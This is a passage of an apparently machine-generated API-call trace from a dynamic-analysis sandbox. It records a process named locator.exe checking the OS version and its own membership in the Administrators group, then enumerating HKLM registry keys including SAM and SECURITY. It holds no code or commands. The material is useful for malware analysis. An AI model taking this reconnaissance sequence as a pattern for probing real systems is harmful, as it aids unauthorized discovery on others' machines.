0x8e0c18 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8e0c60 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8e0ca8 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8e0cf0 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8e0d38 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8e0d80 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8e0dc8 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8e0e10 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8e0e58 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8e0ea0 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8e0ee8 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8e0f30 [0259.447] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe")) returned 0x1f [0259.448] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8e0f78 [0259.448] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x2c) returned 0x8eb828 [0259.453] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0259.453] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0259.453] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0xc4) returned 1 [0259.454] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0259.454] GetLastError () returned 0x7a [0259.454] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8eb860 [0259.454] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x8eb860, TokenInformationLength=0x58, ReturnLength=0x18fbec | out: TokenInformation=0x8eb860, ReturnLength=0x18fbec) returned 1 [0259.454] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x2949a0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0259.454] EqualSid (pSid1=0x2949a0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x8eb884*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0259.454] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb860) returned 1 [0259.454] NtClose (Handle=0xc4) returned 0x0 [0259.454] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8eb860 [0259.455] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8eb8a8 [0259.455] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x280) returned 0x8eb930 [0259.456] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0259.492] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x8eb930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0259.492] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.492] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebc58 [0259.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x8ebc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0259.493] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebca0 [0259.493] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebc58) returned 1 [0259.493] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebca0) returned 1 [0259.493] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.493] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x8eb930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0259.493] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.493] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebca0 [0259.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x8ebca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0259.493] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebc58 [0259.493] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebca0) returned 1 [0259.493] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebc58) returned 1 [0259.493] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.493] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x8eb930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0259.493] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.493] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebc58 [0259.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x8ebc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0259.493] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebca0 [0259.493] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebc58) returned 1 [0259.493] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebca0) returned 1 [0259.493] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.493] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x8eb930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0259.493] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.493] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebca0 [0259.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x8ebca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0259.493] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebc58 [0259.494] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebca0) returned 1 [0259.494] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebc58) returned 1 [0259.494] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.494] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x8eb930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebc58 [0259.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x8ebc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebca0 [0259.494] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebc58) returned 1 [0259.494] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebca0) returned 1 [0259.494] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.494] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x184) returned 0x8ed040 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebca0 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebc58 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebce8 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebd30 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebd78 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebdc0 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebe08 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebe50 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebe98 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebee0 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebf28 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebf70 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ebfb8 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec000 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec048 [0259.494] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec090 [0259.494] RegCloseKey (hKey=0x80000002) returned 0x0 [0259.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x8eb930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0259.495] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0259.495] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x8ec0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0259.495] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.495] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.495] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.495] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x8eb930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0259.495] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.495] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x8ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0259.495] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.495] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.495] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.495] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x8eb930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0259.495] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.495] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x8ec0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0259.495] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.495] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.495] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.495] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x8eb930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0259.495] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.495] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x8ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0259.495] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.495] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.495] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.496] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x8eb930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0259.496] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.496] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x8ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0259.496] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.496] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.496] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.496] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x8eb930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0259.496] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0259.496] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x8ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0259.496] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.496] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.496] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.496] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x8eb930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0259.496] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0259.496] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x8ec0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0259.496] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.496] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.496] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.496] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.496] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0259.496] RegCloseKey (hKey=0xc4) returned 0x0 [0259.496] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x8eb930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0259.496] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.496] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x8ec120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0259.497] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.497] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.497] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.497] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.497] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x8eb930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0259.497] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0259.497] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x8ec0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0259.497] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.497] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.497] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.497] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.497] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x8eb930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0259.497] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.497] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x8ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0259.497] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.497] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.497] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.497] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.497] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x8eb930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0259.497] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0259.497] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, 